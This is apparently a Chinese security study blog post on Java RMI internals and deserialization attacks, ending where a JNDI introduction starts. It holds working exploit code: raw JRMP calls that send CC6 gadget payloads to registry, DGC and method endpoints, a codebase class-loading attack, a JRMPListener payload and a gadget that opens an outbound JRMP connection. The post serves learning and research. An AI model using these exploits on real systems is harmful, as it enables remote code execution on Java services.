最后一次再谈JNDI

之前一直学,一直忘,这次看到了大哥们的好文章,怒补一下

0x01 RMI

Remote Method Invocation 远程方法调用,构建分布式应用程序,可以实现java跨JVM远程通信

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

他的出现就是为了可以实现远程代码调用。换句话说就是,我在客户端调用在服务端的代码,把参数传递给服务端,他返回结果给我。

RMI原理分析: https://www.bilibili.com/video/BV1zP4y1s7Cj?p=2&spm_id_from=pageDriver

https://blog.csdn.net/huxiang19851114/article/details/112991261

https://xz.aliyun.com/t/8644#toc-4

攻击rmi:https://github.com/qtc-de/remote-method-guesser

Quick Start

env: jdk8u181

server

有一点点类似于c语言的头文件和源文件,所以我们必须首先声明一个接口

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

/**
* RMI的接口 必须要 继承Remote
*/
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

实现这个接口

package com.dem0.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class Calc extends UnicastRemoteObject implements ICalc{
private int baseNumber = 123;

protected Calc() throws RemoteException {
}

@Override
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = baseNumber;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

Registry

开始注册。这里的注册有两种方法。一种是使用LocateRegistry.createRegistry来建立一个Registry,并且挂载在calc路径上,也可以使用静态方法Naming.bind("url",class)

public class RegCalc {
public static void main(String[] args) throws RemoteException, MalformedURLException {
ICalc calc = new Calc();
Naming.bind("rmi://127.0.0.1:9999",calc);
// Registry registry = LocateRegistry.createRegistry(9999);
// registry.rebind("calc",calc);
}
}

client

Registry registry = LocateRegistry.getRegistry("192.168.59.1", 9999);
ICalc calc = (ICalc) registry.lookup("calc");

通过getRegistry获得registry对象,然后lookup拿到绑定在方法上的方法。

发生了什么

image-20220429213739245

image-20220429215535116

image-20220429215545259

按照上面图中的分析来讲,

server & register

 Registry registry = LocateRegistry.createRegistry(9999);
// registry.rebind("calc",calc);

这两句一个是register的,一个server的代码。但是一般来说这二者都在一个服务器上面所以就不再展开分析了。我们首先来debug一下。

new Calc();

image-20220430164810885

他的ref属性是UnicastServerRef(RemoteRef).然后调用他的exportObject方法.

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
Class var4 = var1.getClass();
Remote var5;
try {
//根据class对象生成代理对象,用来服务于客户端RegistryImpl的Stub对象,这里是Calc的代理对象,后面也是一样的
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}
//封装proxy
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
//发布proxy
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}

UnicastServerRef最顶层的也是Remote,LiveRef是对于socket交流的封装。

因为我们在实现接口的时候,继承了UnicastRemoteObject,所以我们在new的时候会调用父类的构造方法

image-20220430090358259

会自动地帮忙exportObject

Creates and exports a new UnicastRemoteObject object using the particular supplied port.

所以会随机用一个port导出这个类(会生成objectiD(唯一))。现在我们才能说这个远程类可以被导出了。也就完成了这一步。

image-20220430090625044

接下来就是注册中心create了,这部分不多说。然后就是bind了,实现的方式也很简单,this.bindings(private Hashtable<String, Remote>).

image-20220430091000720

确实就是接口名字,endpoint和objid。现在服务端和register都准备好了,开始看client端了。

 Registry registry = LocateRegistry.createRegistry(9999);
public RegistryImpl(final int var1) throws RemoteException {
this.bindings = new Hashtable(101);
if (var1 == 1099 && System.getSecurityManager() != null) {
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x, (var0) -> {
return RegistryImpl.registryFilter(var0);
}));
return null;
}
}, (AccessControlContext)null, new SocketPermission("localhost:" + var1, "listen,accept"));
} catch (PrivilegedActionException var3) {
throw (RemoteException)var3.getException();
}
} else {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
}

}

关键代码this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));

private void setup(UnicastServerRef var1) throws RemoteException {
//将指向正在初始化的RegistryImpl对象的远程引用ref(RemoteRef)赋值为传入的UnicastServerRef对象,这里涉及了向上转型(后续会用到LiveRef)
this.ref = var1;
//然后又会调用到上面的exportObject
// this 获取RegistryImpl的class对象--Skeleton类型
var1.exportObject(this, (Object)null, true);
}

到现在来说,我们进行的还只是一些变量赋值的操作,都没有进行传输层上的业务,但是追溯LiveRef(传输层的封装)的exportObject()方法,很容易找到了TCPTransport的exportObject()方法。这个方法做的事情就是将上面构造的Target对象暴露出去。调用TCPTransport的listen()方法,listen()方法创建了一个ServerSocket,并且启动了一条线程等待客户端的请求。接着调用父类Transport的exportObject()将Target对象存放进ObjectTable中。

client

Registry registry = LocateRegistry.getRegistry("192.168.59.1", 9999);

追踪下去

LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);//客户端有了服务端的RegistryImpl的代理
ICalc calc = (ICalc) registry.lookup("calc");

调用registerimpl#lookup

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
//newCall()方法做的事情简单来看就是建立了跟远程RegistryImpl的Skeleton对象的连接
RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
}
//ref UnicastRef(子类;UnicastServerRef) ===> 使用socket发送
this.ref.invoke(var2);
Remote var22;
try {
ObjectInput var4 = var2.getInputStream();
var22 = (Remote)var4.readObject();
} catch (IOException var14) {
throw new UnmarshalException("error unmarshalling return", var14);
} catch (ClassNotFoundException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} finally {
this.ref.done(var2);
}
}

我们删除了所有catch的异常。然后我们追踪到invoke中

public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();

StreamRemoteCall#executeCall

public void executeCall() throws Exception {
DGCAckHandler var2 = null;
byte var1;
try {
if (this.out != null) {
var2 = this.out.getDGCAckHandler();//这里有一个新协议DGC
}
this.releaseOutputStream();
DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
byte var4 = var3.readByte();
if (var4 != 81) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
}
throw new UnmarshalException("Transport return code invalid");
}
this.getInputStream();
var1 = this.in.readByte();
this.in.readID();
}
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();
}
if (!(var14 instanceof Exception)) {
throw new UnmarshalException("Return type not Exception");
} else {
this.exceptionReceivedFromServer((Exception)var14);
}
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
}
throw new UnmarshalException("Return code invalid");
}
}

到此为止,用户端的请求构造也告一段落了。下面就是服务端的处理了。

target.run();下断点

然后一步一步跟踪

image-20220430172920205

一步一步我们找到了Transport的serviceCall()方法

public boolean serviceCall(final RemoteCall var1) {
try {
ObjID var39;
try {
var39 = ObjID.read(var1.getInputStream());
} catch (IOException var33) {
throw new MarshalException("unable to read objID", var33);
}
Transport var40 = var39.equals(dgcID) ? null : this;
//获取目标对象,5.2.1启动服务的时候put进去的
// 还记得我们在bindings中存放的其实是OperationImpl的真正实现,并非是Stub对象。
Target var5 = ObjectTable.getTarget(new ObjectEndpoint(var39, var40));
//
final Remote var37;
if (var5 != null && (var37 = var5.getImpl()) != null) {
final Dispatcher var6 = var5.getDispatcher();
var5.incrementCallCount();
boolean var8;
try {
transportLog.log(Log.VERBOSE, "call dispatcher");
final AccessControlContext var7 = var5.getAccessControlContext();
ClassLoader var41 = var5.getContextClassLoader();
ClassLoader var9 = Thread.currentThread().getContextClassLoader();

try {
setContextClassLoader(var41);
currentTransport.set(this);

try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
Transport.this.checkAcceptPermission(var7);
var6.dispatch(var37, var1);
return null;
}
}, var7);
return true;
} catch (PrivilegedActionException var31) {
throw (IOException)var31.getException();
}
} finally {
setContextClassLoader(var9);
currentTransport.set((Object)null);
}
} catch (IOException var34) {
transportLog.log(Log.BRIEF, "exception thrown by dispatcher: ", var34);
var8 = false;
} finally {
var5.decrementCallCount();
}

return var8;
}

throw new NoSuchObjectException("no such object in table");
}
return true;
}

返回了一个proxy对象。然后利用RemoteObjectInvocationHandlerinvoke来调用方法。下面这两个是我还没有debug到的,但是我们看到了在整个的处理过程中,存在许多的readobject()。

  • 服务端通过sun.rmi.transport.tcp.TCPTransport#handleMessages中的循环来监听输入流
  • 对应的,服务端远程对象使用sun.rmi.UnicastServerRef来处理远端对本服务对象的调用。

流量分析

略~~~~

安全问题

参考: https://github.com/qtc-de/remote-method-guesser

1. 信息泄露

package com.dem0.vuln;

import com.dem0.internal.ReflectUtils;
import de.qtc.rmg.networking.RMIRegistryEndpoint;
import de.qtc.rmg.plugin.PluginSystem;
import de.qtc.rmg.utils.RemoteObjectWrapper;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class infoLeak {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("192.168.59.1", 1099);
// System.out.println(registry.list());
ReflectUtils.enableCustomRMIClassLoader();
PluginSystem.init(null);
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("192.168.59.1", 1099);
// Remote[] remoteObjList = rmiRegistry.packup(registry.list());
RemoteObjectWrapper[] rows = rmiRegistry.lookup(registry.list());
for ( RemoteObjectWrapper row: rows) {
System.out.println(row.className +"\tport:" + row.endpoint.getPort());
}
}catch (Throwable t){
t.printStackTrace();
}
}
}

2. 远程加载类

codebase: 一个神奇的配置

server

package com.dem0.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RegCalc {
private void start() throws Exception {
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("java.security.policy", "vuln.policy");
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Math h = new Math();
LocateRegistry.createRegistry(1099);
Naming.rebind("r", h);
}
public static void main(String[] args) throws Exception {
new RegCalc().start();
}
}

client

package com.dem0.vuln;

import com.dem0.rmi.ICalc;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.ArrayList;
import java.util.List;

public class codeBaseAttack {
public static class Payload extends ArrayList<Integer> {}
static {
System.setProperty("java.security.policy", "vuln.policy");
System.setProperty("java.rmi.server.codebase","http://192.168.59.1:9080/");
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}

}
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
ICalc r = (ICalc) Naming.lookup("rmi://192.168.59.1:1099/r");
List<Integer> li = new ArrayList<Integer>();
li.add(1);
li.add(2);
System.out.println(r.sum(li));
}
}

vuln.policy

grant {
permission java.security.AllPermission;

};

因为从远程codebase加载类具有高危性,所以只有满足如下条件的RMI客户端/服务端才能被攻击:

  • 安装并配置了SecurityManager
  • 设置了 java.rmi.server.useCodebaseOnly=false 或者Java版本低于7u21、6u45(此时该值默认为false)

3.序列化安全问题

我们在debug的时候发现,在处理的时候,实际上对象是绑定在本地JVM中,只有函数参数和返回值是通过网络传送的,所以这几个部分就会设计到序列化和反序列化(网络传输的必备)

  • 参数
  • 返回值
  • 异常处理
远程方法参数反序列化(服务端远程参数是object和远程参数不是object)
package com.dem0.rmi;
import com.dem0.vuln.CC6;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.ArrayList;
import java.util.List;

public class Main {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("192.168.59.1", 1099);
ICalc calc = (ICalc) registry.lookup("calc");
List<Integer> li = new ArrayList<Integer>();
li.add(1);
li.add(2);
System.out.println(calc.equ(new CC6().getPayload(),1));
} catch (Exception e) {
e.printStackTrace();
}
}
}

但是在这里,我们有一个利用的前提,就是参数必须首先是object属性的,不然他是不是不会触发readObejct的,为了继续深入理解,我们继续看UnicastServerRef#dispatch所以我们知道这是一个分发接口的。偷一下eki大哥哥的简化流程

//var4是传入的Method hash 拿到对应的method
Method var42 = (Method)this.hashToMethod_Map.get(var4);
//var1是远程对象 var7是传入的参数输入流 调用this.unmarshalParameter对应的去反序列化成参数
var9 = this.unmarshalParameters(var1, var42, var7);
//最后调用方法得到结果
var10 = var42.invoke(var1, var9);

参数传入unmarshalParameters最后调用的unmarshalValue

    var0 ===> type数组  var1===> 参数的输入流
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
}
}

可以看到只要参数类型不是var0.isPrimitive(),和String 就会触发上面readObject,所以也可以攻击成功。

然后我们直接开整javap -s com.dem0.rmi.Math,算出方法的描述符

Compiled from "Math.java"
public class com.dem0.rmi.Math extends java.rmi.server.UnicastRemoteObject implements com.dem0.rmi.IMath {
protected com.dem0.rmi.Math() throws java.rmi.RemoteException;
descriptor: ()V

public java.lang.Integer sum(java.util.List<java.lang.Integer>) throws java.rmi.RemoteException;
descriptor: (Ljava/util/List;)Ljava/lang/Integer;

public java.lang.Integer add(java.lang.Integer, java.lang.Integer) throws java.rmi.RemoteException;
descriptor: (Ljava/lang/Integer;Ljava/lang/Integer;)Ljava/lang/Integer;
}

然后

/**
* 参数类型为非对象类型
*/
public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
Socket socket = SocketFactory.getDefault().createSocket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
DataOutputStream dos = null;
try {
OutputStream os = socket.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);

final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objid.write(objOut); //Objid
objOut.writeInt(opNum); // opnum
objOut.writeLong(hash); // hash

for (Object object:
objects) {
objOut.writeObject(object);
}

os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (socket != null) {
socket.close();
}
}
}
private static long computeMethodHash(String methodSignature) {
long hash = 0;
ByteArrayOutputStream sink = new ByteArrayOutputStream(127);
try {
MessageDigest md = MessageDigest.getInstance("SHA");
DataOutputStream out = new DataOutputStream(new DigestOutputStream(sink, md));

out.writeUTF(methodSignature);

// use only the first 64 bits of the digest for the hash
out.flush();
byte hasharray[] = md.digest();
for (int i = 0; i < Math.min(8, hasharray.length); i++) {
hash += ((long) (hasharray[i] & 0xFF)) << (i * 8);
}
} catch (IOException ignore) {
/* can't happen, but be deterministic anyway. */
hash = -1;
} catch (NoSuchAlgorithmException complain) {
throw new SecurityException(complain.getMessage());
}
return hash;
}
public static void genpayload2(){
try {
ReflectUtils.enableCustomRMIClassLoader();
PluginSystem.init(null);
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("127.0.0.1",1099);
//还记得遍历攻击里我们实现的无依赖获取远程对象存根吗,这里直接套用了。
RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("r"),"math");
Object payloadObj = new CC6().getPayload();
//methodSignature 可以通过javap -s 类名计算
final String methodSignature = "add(Ljava/lang/Integer;Ljava/lang/Integer;)Ljava/lang/Integer;";
Long methodHash = computeMethodHash(methodSignature);
sendRawCall(remoteObj.getHost(),remoteObj.getPort(),remoteObj.objID,-1,methodHash,payloadObj);
}catch (Throwable t){
t.printStackTrace();
}
}

unmarshalParameters中有DeserializationChecker。所以还是可以避免的

远程方法参数反序列化2(注册中心Registry提供的远程方法)

public class AttackBind {
public static void main(String[] args) {
try {
ReflectUtils.enableCustomRMIClassLoader();
Object payloadObj = new CC6().getPayload();
ObjID objID_ = new ObjID(0);
sendRawCall("127.0.0.1",1099,objID_,0,4905912898345647071L,"Test",payloadObj);
}catch (Throwable t){
t.printStackTrace();
}
}
}

众所周知,在JEP290出来之前,这个是没有问题的。在其出来之后,主要的过滤点在与

private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

哦豁,没得搞了。

Object payload = CC6.getPayloadObject("calc.exe");
Map<String, Object> map = new HashMap<>();
map.put("whatever", payload);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
Remote obj = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);
registry.bind("evil", obj);
远程函数返回值导致的反序列化

起一个RMI服务,然后返回值是恶意对象,利用就GG。但是这个攻击手段感觉其实没有什么用….

但是我们在测试的时候,发现sun.rmi.server.UnicastServerRef#dispatch除了会传入我们使用的远程对象,还会传入一个DGC_Impl的远程对象,这其实就是类似Registry_Impl的一个远程对象。

 public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch(var3) {
case 0:
VMID var39;
boolean var41;
try {
ObjectInput var42 = var2.getInputStream();
var7 = (ObjID[])((ObjID[])var42.readObject());
var8 = var42.readLong();
var39 = (VMID)var42.readObject();
var41 = var42.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var41);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var11 = var2.getInputStream();
var7 = (ObjID[])((ObjID[])var11.readObject());
var8 = var11.readLong();
var10 = (Lease)var11.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var40 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var40);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}
}

可以看到不论是调用远程的什么方法,都会涉及到返回结果的反序列化。

package com.dem0.vuln;

import com.dem0.internal.ReflectUtils;
import de.qtc.rmg.networking.RMIRegistryEndpoint;
import de.qtc.rmg.utils.RemoteObjectWrapper;

import java.rmi.server.ObjID;

import static com.dem0.rmi.Main.sendRawCall;

public class AttackByDGC {
public static void attackRegister() throws Exception {
String registryHost = "127.0.0.1";
int registryPort = 1099;
final Object payloadObject = new CC6().getPayload();
ObjID objID = new ObjID(2);
sendRawCall(registryHost, registryPort, objID, 0, -669196253586618813L,payloadObject);
}
public static void attackServer() throws Exception {

ReflectUtils.enableCustomRMIClassLoader();
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("192.168.111.1",1099);
RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("math"),"math");
Object payloadObject = new CC6().getPayload();
ObjID objID = new ObjID(2);
sendRawCall(remoteObj.getHost(), remoteObj.getPort(), objID, 0, -669196253586618813L,payloadObject);
}

public static void main(String[] args) throws Exception {
attackRegister();
}
}
异常处理(JRMP协议)

在客户端的sun.rmi.transport.StreamRemoteCall#executeCall控制一手var1,就可以了。

image-20220503145939667

JRMPListener利用就是这里的问题,

private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op ==> 81
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.ExceptionalReturn); // transport var1 ==> 2
new UID().write(oos);

BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

这是因为JEP 290只是在JRMP之上的反序列化过程中注入了Filter,而在JRMP层对错误的处理没有进行反序列化过滤。.

最后在eki师傅的文章中,想到了server和register的通信中DGC的通信也是基于JRMP,所以同样可以使用。原理同上

package com.dem0.vuln;

import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Constructor;
import java.rmi.server.ObjID;
import java.rmi.server.UnicastRemoteObject;

import static com.dem0.rmi.Main.sendRawCall;
//import static com.dem0.util.Reflections.getFieldValue;
//import static com.dem0.util.Reflections.setFieldValue;
import com.dem0.utils.Reflections;


public class AttackRegistryByJRMPListener {
public static void main(String[] args) {
try {
String registryHost = "127.0.0.1";
int registryPort = 1099;
String JRMPHost = "127.0.0.1";
int JRMPPort = 2499;

Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
//因为UnicastRemoteObject的默认构造方式是protect的,所以需要反射调用

UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
TCPEndpoint ep = (TCPEndpoint) Reflections.getFieldValue(Reflections.getFieldValue(Reflections.getFieldValue(remoteObject,"ref"),"ref"),"ep");

//这里直接反射修改对应的值,间接修改构造的序列化数据
Reflections.setFieldValue(ep,"port",JRMPPort);
Reflections.setFieldValue(ep,"host",JRMPHost);


ObjID objID_ = new ObjID(0);

//Bind("test",payloadObj)
sendRawCall(registryHost,registryPort,objID_,0,4905912898345647071L,"test",remoteObject);

}catch (Throwable t){
t.printStackTrace();
}
}

}

为了bypass上面这个过程,上面这个是在已经开始DGC请求的时候触发的,在高版本中orace也对这个进行了修复,所以要利用也就变得难上加难。但是为什么我们在第一次readobject的时候就进行呢?所以有了下面这个触发点

package com.dem0.vuln;

import com.dem0.internal.ReflectUtils;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.Random;

import static com.dem0.utils.Reflections.setFieldValue;

public class TriggerJRMPCallByDeserialize {
public static void main(String[] args) throws Exception{
String registryHost = "192.168.59.1";
int registryPort = 1099;
String JRMPHost = "192.168.59.1";
int JRMPPort = 2499;

TCPEndpoint te = new TCPEndpoint(JRMPHost, JRMPPort);
ObjID id = new ObjID(new Random().nextInt());
UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));

//触发关键在于RemoteObjectInvocationHandler的invoke方法
RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);
RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class },
myInvocationHandler);


Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);

setFieldValue(remoteObject, "ssf", handcraftedSSF);

byte[] serializeData = ReflectUtils.WriteObjectToBytes(remoteObject);

ReflectUtils.readObjectFromBytes(serializeData);

}
}

主要是为了触发RemoteObjectInvocationHandler的invoke方法。

大概的流程就是UnicastRemoteObject#readObject==>UnicastRemoteObject#reexport==>export==>

image-20220503215649514

剩下的就跟过去了。

invokeRemoteMethod:223, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:236, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObjectFromBytes:108, ReflectUtils (com.dem0.internal)
main:45, TriggerJRMPCallByDeserialize (com.dem0.vuln)

jdk8u241,在调用UnicastRef.invoke之前,做了一个检测。

总结(EKI!!!)

image-20220503220609196

0x02 JNDI

JNDI: JAVA名称和目录接口。JNDI(Java Naming and Directory Interface)是java提供的命名和目录服务,java可以通过他的API来命令和定位资源。可以访问的资源有:DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

  • Naming

    名称,实际上就是通过名称查找实际对象的服务。举个例子

    • DNS: 通过域名查找ip地址
    • QQ: 通过QQ号找到你这个用户
    • …..

    这里就不得不提另外一个服务叫LDAP,是一个轻量级的目录访问服务。详情可以参考:https://paper.seebug.org/1091/#ldap。我们继续介绍Naming.

    在名称系统中,有几个重要的概念。

    • Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP,在RMI中远程对象绑定到对应的name(HashMap(key=value))
